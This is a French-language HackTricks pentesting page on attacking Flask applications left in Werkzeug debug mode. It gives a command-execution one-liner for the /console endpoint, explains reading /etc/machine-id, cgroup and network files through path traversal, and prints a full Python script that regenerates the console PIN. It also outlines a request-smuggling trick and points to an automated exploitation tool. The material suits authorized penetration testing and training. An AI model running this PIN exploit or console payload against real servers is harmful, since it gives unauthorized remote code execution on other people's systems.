Werkzeug / Flask Debug

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Console RCE

Si le débogage est actif, vous pourriez essayer d'accéder à /console et d'obtenir RCE.

python
__import__('os').popen('whoami').read();

Il existe Ă©galement plusieurs exploits sur Internet comme celui-ci ou un dans metasploit.

Protégé par un PIN - Traversée de chemin

Dans certaines occasions, le point de terminaison /console sera protégé par un PIN. Si vous avez une vulnérabilité de traversée de fichier, vous pouvez divulguer toutes les informations nécessaires pour générer ce PIN.

Exploit de PIN de la console Werkzeug

Forcez une page d'erreur de débogage dans l'application pour voir cela :

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Un message concernant le scĂ©nario "console verrouillĂ©e" est rencontrĂ© lors de la tentative d'accĂšs Ă  l'interface de dĂ©bogage de Werkzeug, indiquant qu'un PIN est requis pour dĂ©verrouiller la console. La suggestion est faite d'exploiter le PIN de la console en analysant l'algorithme de gĂ©nĂ©ration de PIN dans le fichier d'initialisation de dĂ©bogage de Werkzeug (__init__.py). Le mĂ©canisme de gĂ©nĂ©ration de PIN peut ĂȘtre Ă©tudiĂ© Ă  partir du dĂ©pĂŽt de code source de Werkzeug, bien qu'il soit conseillĂ© d'obtenir le code serveur rĂ©el via une vulnĂ©rabilitĂ© de traversĂ©e de fichier en raison de potentielles divergences de version.

Pour exploiter le PIN de la console, deux ensembles de variables, probably_public_bits et private_bits, sont nécessaires :

probably_public_bits

  • username : Fait rĂ©fĂ©rence Ă  l'utilisateur qui a initiĂ© la session Flask.
  • modname : DĂ©signĂ© typiquement comme flask.app.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) : RĂ©sout gĂ©nĂ©ralement Ă  Flask.
  • getattr(mod, '__file__', None) : ReprĂ©sente le chemin complet vers app.py dans le rĂ©pertoire Flask (par exemple, /usr/local/lib/python3.5/dist-packages/flask/app.py). Si app.py n'est pas applicable, essayez app.pyc.

private_bits

  • uuid.getnode() : RĂ©cupĂšre l'adresse MAC de la machine actuelle, avec str(uuid.getnode()) la traduisant en format dĂ©cimal.

  • Pour dĂ©terminer l'adresse MAC du serveur, il faut identifier l'interface rĂ©seau active utilisĂ©e par l'application (par exemple, ens3). En cas d'incertitude, fuite /proc/net/arp pour trouver l'ID de l'appareil, puis extraire l'adresse MAC de /sys/class/net/<device id>/address.

  • La conversion d'une adresse MAC hexadĂ©cimale en dĂ©cimal peut ĂȘtre effectuĂ©e comme montrĂ© ci-dessous :

python
# Exemple d'adresse MAC : 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id() : ConcatĂšne les donnĂ©es de /etc/machine-id ou /proc/sys/kernel/random/boot_id avec la premiĂšre ligne de /proc/self/cgroup aprĂšs le dernier slash (/).
Code pour `get_machine_id()`
python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:

AprĂšs avoir rassemblĂ© toutes les donnĂ©es nĂ©cessaires, le script d'exploitation peut ĂȘtre exĂ©cutĂ© pour gĂ©nĂ©rer le PIN de la console Werkzeug :

AprĂšs avoir rassemblĂ© toutes les donnĂ©es nĂ©cessaires, le script d'exploitation peut ĂȘtre exĂ©cutĂ© pour gĂ©nĂ©rer le PIN de la console Werkzeug. Le script utilise les probably_public_bits et private_bits assemblĂ©s pour crĂ©er un hachage, qui subit ensuite un traitement supplĂ©mentaire pour produire le PIN final. Ci-dessous se trouve le code Python pour exĂ©cuter ce processus :

python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Ce script produit le PIN en hachant les bits concatĂ©nĂ©s, en ajoutant des sels spĂ©cifiques (cookiesalt et pinsalt), et en formatant la sortie. Il est important de noter que les valeurs rĂ©elles pour probably_public_bits et private_bits doivent ĂȘtre obtenues avec prĂ©cision Ă  partir du systĂšme cible pour garantir que le PIN gĂ©nĂ©rĂ© correspond Ă  celui attendu par la console Werkzeug.

tip

Si vous utilisez une ancienne version de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de sha1.

CaractĂšres Unicode de Werkzeug

Comme observĂ© dans ce problĂšme, Werkzeug ne ferme pas une requĂȘte avec des caractĂšres Unicode dans les en-tĂȘtes. Et comme expliquĂ© dans ce rapport, cela pourrait causer une vulnĂ©rabilitĂ© de CL.0 Request Smuggling.

C'est parce qu'il est possible d'envoyer certains caractĂšres Unicode dans Werkzeug et cela fera casser le serveur. Cependant, si la connexion HTTP a Ă©tĂ© crĂ©Ă©e avec l'en-tĂȘte Connection: keep-alive, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, donc le corps de la requĂȘte sera traitĂ© comme la prochaine requĂȘte HTTP.

Exploitation Automatisée

GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks